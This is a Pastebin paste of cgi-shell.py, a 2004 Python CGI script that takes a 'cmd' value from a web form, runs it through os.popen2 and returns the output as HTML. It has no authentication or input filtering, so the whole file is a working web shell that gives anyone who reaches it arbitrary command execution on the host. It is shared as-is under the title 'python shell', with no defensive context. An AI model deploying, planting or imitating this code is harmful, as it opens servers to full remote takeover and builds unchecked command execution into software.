Saint92

python shell

Apr 11th, 2016
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.79 KB | None | 0 0
  1. #!/usr/bin/python
  2. # 07-07-04
  3. # v1.0.0
  4.  
  5. # cgi-shell.py
  6. # A simple CGI that executes arbitrary shell commands.
  7.  
  8.  
  9. # Copyright Michael Foord
  10. # You are free to modify, use and relicense this code.
  11.  
  12. # No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
  13. # Use at your own risk !!!
  14.  
  15. # E-mail michael AT foord DOT me DOT uk
  16. # Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html
  17.  
  18. """
  19. A simple CGI script to execute shell commands via CGI.
  20. """
  21. ################################################################
  22. # Imports
  23. try:
  24.     import cgitb; cgitb.enable()
  25. except:
  26.     pass
  27. import sys, cgi, os
  28. sys.stderr = sys.stdout
  29. from time import strftime
  30. import traceback
  31. from StringIO import StringIO
  32. from traceback import print_exc
  33.  
  34. ################################################################
  35. # constants
  36.  
  37. fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
  38. versionstring = 'Version 1.0.0 7th July 2004'
  39.  
  40. if os.environ.has_key("SCRIPT_NAME"):
  41.     scriptname = os.environ["SCRIPT_NAME"]
  42. else:
  43.     scriptname = ""
  44.  
  45. METHOD = '"POST"'
  46.  
  47. ################################################################
  48. # Private functions and variables
  49.  
  50. def getform(valuelist, theform, notpresent=''):
  51.     """This function, given a CGI form, extracts the data from it, based on
  52.    valuelist passed in. Any non-present values are set to '' - although this can be changed.
  53.    (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
  54.     data = {}
  55.     for field in valuelist:
  56.         if not theform.has_key(field):
  57.             data[field] = notpresent
  58.         else:
  59.             if  type(theform[field]) != type([]):
  60.                 data[field] = theform[field].value
  61.             else:
  62.                 values = map(lambda x: x.value, theform[field])     # allows for list type values
  63.                 data[field] = values
  64.     return data
  65.  
  66.  
  67. theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
  68. <BODY><CENTER>
  69. <H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
  70. <B><I>By Fuzzyman</B></I><BR>
  71. """+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'
  72.  
  73. theform = """<H2>Enter Command</H2>
  74. <FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
  75. <input name=cmd type=text><BR>
  76. <input type=submit value="Submit"><BR>
  77. </FORM><BR><BR>"""
  78. bodyend = '</BODY></HTML>'
  79. errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'
  80.  
  81. ################################################################
  82. # main body of the script
  83.  
  84. if __name__ == '__main__':
  85.     print "Content-type: text/html"         # this is the header to the server
  86.     print                                   # so is this blank line
  87.     form = cgi.FieldStorage()
  88.     data = getform(['cmd'],form)
  89.     thecmd = data['cmd']
  90.     print theformhead
  91.     print theform
  92.     if thecmd:
  93.         print '<HR><BR><BR>'
  94.         print '<B>Command : ', thecmd, '<BR><BR>'
  95.         print 'Result : <BR><BR>'
  96.         try:
  97.             child_stdin, child_stdout = os.popen2(thecmd)
  98.             child_stdin.close()
  99.             result = child_stdout.read()
  100.             child_stdout.close()
  101.             print result.replace('\n', '<BR>')
  102.  
  103.         except Exception, e:                      # an error in executing the command
  104.             print errormess
  105.             f = StringIO()
  106.             print_exc(file=f)
  107.             a = f.getvalue().splitlines()
  108.             for line in a:
  109.                 print line
  110.  
  111.     print bodyend
  112.  
  113.  
  114. """
  115. TODO/ISSUES
  116.  
  117.  
  118.  
  119. CHANGELOG
  120.  
  121. 07-07-04        Version 1.0.0
  122. A very basic system for executing shell commands.
  123. I may expand it into a proper 'environment' with session persistence...
  124. """
Advertisement
Add Comment
Please, Sign In to add comment